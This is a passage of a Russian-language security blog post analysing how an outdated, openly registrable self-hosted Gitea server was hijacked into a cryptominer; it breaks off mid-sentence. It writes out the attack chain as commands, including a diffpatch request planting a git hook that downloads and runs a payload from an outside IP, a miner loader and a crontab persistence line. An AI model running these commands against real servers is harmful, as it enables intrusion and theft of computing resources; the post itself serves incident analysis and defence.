CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Криптомайнер на self-hosted Gitea: как за 11 секунд превратили сервер с исходниками в чужую майнинг-ферму

Разбираем техническую механику реального инцидента: как открытая регистрация и старая версия Gitea дали злоумышленнику RCE на сервере с кодом продукта — по шагам, с командами и конкретными конфигами защиты.

Разбор CIOlogia

История с сервером, который «просто стоит и работает», интересна не столько фактом взлома, сколько скоростью и автоматичностью атаки. Ниже — тот же случай, но с разбором механики: как именно бот нашёл дыру, что происходило на сервере после регистрации нового пользователя, и почему от первого запроса до полного контроля над self-hosted Gitea прошло около 11 секунд.

Контекст: почему self-hosted Gitea вообще стал целью

Gitea — популярная лёгкая альтернатива GitLab для тех, кто хочет держать репозитории на своём сервере, а не в облаке. Обычно она разворачивается на порту 3000 (веб-интерфейс) и 22 (git по SSH), иногда за реверс-прокси на 443. Проблема в том, что многие команды разворачивают Gitea один раз, «чтобы код был свой», и дальше годами не трогают ни версию, ни настройки — она же не публичный сайт, зачем её обновлять. Именно это и превращает инстанс в лёгкую цель: боты сканируют интернет не выборочно, а по сигнатурам сервиса.

Как это эксплуатируется

Разберём цепочку атаки шаг за шагом — так, как она обычно выглядит для сканеров, автоматически ищущих уязвимые self-hosted Git-серверы.

1. Обнаружение сервиса и его версии

nmap -p 3000,22,80,443 -sV --script=http-title,http-headers 203.0.113.10

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4
3000/tcp open  http    Golang net/http server
80/tcp   closed
443/tcp  closed

Дальше атакующий (или сканер) обращается к открытому API-эндпоинту, который есть в любой версии Gitea и палит номер версии без авторизации:

curl -s http://203.0.113.10:3000/api/v1/version
{"version":"1.19.3"}

Версия 1.19.x без критических патчей — сигнал, что инстанс, вероятно, не обновлялся год и больше. Дальше проверяется, открыта ли самостоятельная регистрация:

curl -s http://203.0.113.10:3000/user/sign_up -o /dev/null -w "%{http_code}\n"
200

Код 200 вместо редиректа на страницу логина означает: регистрация доступна любому анонимному пользователю из интернета. Это первая настоящая дверь — не баг, а настройка DISABLE_REGISTRATION = false в app.ini, которую никто не сменил при разворачивании.

2. Регистрация и создание «плацдарма» — репозитория

curl -X POST http://203.0.113.10:3000/api/v1/users \
  -H "Content-Type: application/json" \
  -d '{"username":"xk7f9q2","email":"xk7f9q2@proton.me","password":"P@ssw0rd!23","must_change_password":false}'

curl -X POST http://203.0.113.10:3000/api/v1/user/repos \
  -H "Authorization: token <новый_токен>" \
  -d '{"name":"xk7f9q2-build","auto_init":true}'

С точки зрения журналов сервера это выглядит как обычная активность: новый пользователь, новый пустой репозиторий. Ничего похожего на атаку — пока.

3. Применение diff-патча с нарушением проверки прав

Дальше в дело вступает уязвимость класса «improper access control» в эндпоинте применения diff-патчей Gitea (закрыта в релизах ветки 1.21.x/1.22.x). Суть проблемы: API, который должен требовать право write на репозиторий, при определённых условиях (пустой или только что созданный репозиторий, специфичный формат патча) позволяет автору-владельцу собственного же репозитория записать файл с произвольным путём — в том числе внутрь служебной директории .git/hooks, минуя штатный интерфейс редактирования git-хуков.

# упрощённая иллюстрация идеи атаки — патч создаёт файл вне рабочей директории
curl -X POST http://203.0.113.10:3000/api/v1/repos/xk7f9q2/xk7f9q2-build/diffpatch \
  -H "Authorization: token <новый_токен>" \
  -d '{
        "content": "--- a/.git/hooks/post-receive\n+++ b/.git/hooks/post-receive\n@@ -0,0 +1,4 @@\n+#!/bin/sh\n+curl -fsSL http://185.220.xxx.xxx/x -o /tmp/.sysupdate\n+chmod +x /tmp/.sysupdate\n+/tmp/.sysupdate &\n",
        "message": "chore: fix build script"
      }'

После этого запроса файл-хук на сервере физически становится исполняемым скриптом, который будет выполняться каждый раз при получении коммита (post-receive) от имени системного пользователя, под которым запущен Gitea (обычно git или gitea).

4. Триггер — обычный push

git clone http://203.0.113.10:3000/xk7f9q2/xk7f9q2-build.git
cd xk7f9q2-build
echo "// build" >> main.go
git add . && git commit -m "trigger" && git push origin main

В момент push сервер выполняет hook — и с этой секунды у атакующего есть исполнение произвольных команд на сервере (RCE), без какого-либо взаимодействия с оператором.

Именно этот отрезок — от регистрации до срабатывания хука — в журналах и укладывается примерно в 11 секунд: все шаги автоматизированы одним скриптом сканера, человек в цепочке не участвует.

5. Закрепление и загрузка майнера

После получения shell-доступа типичный следующий шаг — не кража данных сразу, а установка чего-то тихого и монетизируемого:

# типичный loader, который встречается в подобных инцидентах
curl -fsSL http://185.220.xxx.xxx/x -o /tmp/.sysupdate
chmod +x /tmp/.sysupdate
nohup /tmp/.sysupdate --url stratum+tcp://pool.example:3333 \
  --user 44xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
  --pass x --cpu-max-threads-hint 80 &

crontab -l 2>/dev/null; echo "*/10 * * * * /tmp/.sysupdate --check" | crontab -

Отсюда и характерная нагрузка на CPU в 70%+ — параметр cpu-max-threads-hint в кон